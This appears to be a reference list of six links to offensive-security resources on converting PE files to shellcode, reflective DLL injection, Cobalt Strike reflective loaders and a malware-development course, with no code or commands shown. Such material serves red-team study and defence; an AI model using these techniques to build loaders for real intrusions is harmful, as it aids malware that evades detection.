<https://github.com/d35ha/PE2Shellcode>
<https://github.com/hasherezade/pe_to_shellcode>
<https://github.com/monoxgas/sRDI>
<https://github.com/stephenfewer/ReflectiveDLLInjection>
<https://securityintelligence.com/x-force/defining-cobalt-strike-reflective-loader/>
<https://maldevacademy.com/>